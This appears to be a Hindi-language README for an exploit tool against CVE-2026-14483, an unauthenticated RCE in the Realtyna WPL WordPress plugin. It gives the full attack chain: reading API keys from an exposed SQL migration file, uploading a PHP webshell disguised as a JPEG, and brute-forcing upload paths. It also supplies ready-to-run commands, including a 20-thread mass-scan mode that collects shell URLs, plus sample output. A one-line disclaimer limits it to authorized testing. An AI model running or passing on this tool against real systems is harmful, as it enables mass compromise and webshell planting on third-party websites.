CVE-2026-14483 — WPL रियल एस्टेट RCE

Realtyna WPL रियल एस्टेट लिस्टिंग WordPress प्लगइन के विरुद्ध बिना प्रमाणीकरण के रिमोट कोड निष्पादन।

डिफ़ॉल्ट रूप से स्क्रिप्ट केवल WPL 5.2.0 चलाने वाले लक्ष्यों का शोषण करती है। ओवरराइड करने के लिए --force उपयोग करें।

चित्र

भेद्यता सारांश

1. क्रेडेंशियल लीक — डिफ़ॉल्ट api_key / api_secret एक सार्वजनिक SQL माइग्रेशन डंप के माध्यम से उजागर होते हैं।
2. बिना प्रमाणीकरण के अपलोड — वे क्रेडेंशियल WPL I/O API (set_property) को प्रमाणित करते हैं, जिससे एक क्राफ्टेड PHP फ़ाइल को संपत्ति छवि के रूप में अपलोड किया जा सकता है।
3. वेबशेल खोज — अपलोड किया गया शेल wp-content/uploads/WPL/{property_id}/ के अंतर्गत स्थित होता है।

आवश्यकताएँ

pip install requests colorama

• Python 3.8+
• लक्ष्य तक नेटवर्क पहुँच

उपयोग

लक्ष्य सूची

प्रति पंक्ति एक आधार URL वाली टेक्स्ट फ़ाइल बनाएँ:

http://wplab.test
https://example.com

बुनियादी रन

python CVE-2026-14483.py --targets targets.txt

सफल शेल URL result.txt (या --output) में जोड़े जाते हैं।

पूर्ण विकल्प

python CVE-2026-14483.py \
  --targets targets.txt \
  --output result.txt \
  --user-id 1 \
  --max-id 1000 \
  --timeout 30 \
  --threads 5 \
  --debug \
  --force

शोषण प्रवाह

Target URL
    │
    ▼
Detect WPL version (readme.txt / wpl.php)
    │  skip unless == 5.2.0 (or --force)
    ▼
Fetch api_key + api_secret from:
  /wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
    │
    ▼
POST set_property via WPL I/O API
  (upload image_0x89MADEXPLOITS.php as image/jpeg)
    │
    ▼
Brute-force property ID 1..max-id
  /wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
    │
    ▼
Write shell URL → output file

डिफ़ॉल्ट शेल मार्कर: MADEXPLOITS
डिफ़ॉल्ट रिमोट फ़ाइलनाम: 0x89MADEXPLOITS.php

उदाहरण

एकल लैब लक्ष्य (यह वर्कस्पेस):

echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug

उच्च समवर्तीता के साथ बड़े पैमाने पर स्कैन:

python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt

संस्करण जाँच विफल होने पर शोषण बलपूर्वक करें:

python CVE-2026-14483.py --targets targets.txt --force

आउटपुट

[+] Shell found: http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.

result.txt में प्रति पंक्ति एक शेल URL होता है।

नोट्स

• संस्करण प्लगइन readme.txt में Stable tag: / Version: से पढ़ा जाता है, जिसमें wpl.php का फ़ॉलबैक होता है।
• यदि अपलोड के बाद शेल नहीं मिलता है, तो --max-id बढ़ाएँ।
• केवल अधिकृत सुरक्षा परीक्षण / स्थानीय लैब उपयोग के लिए है।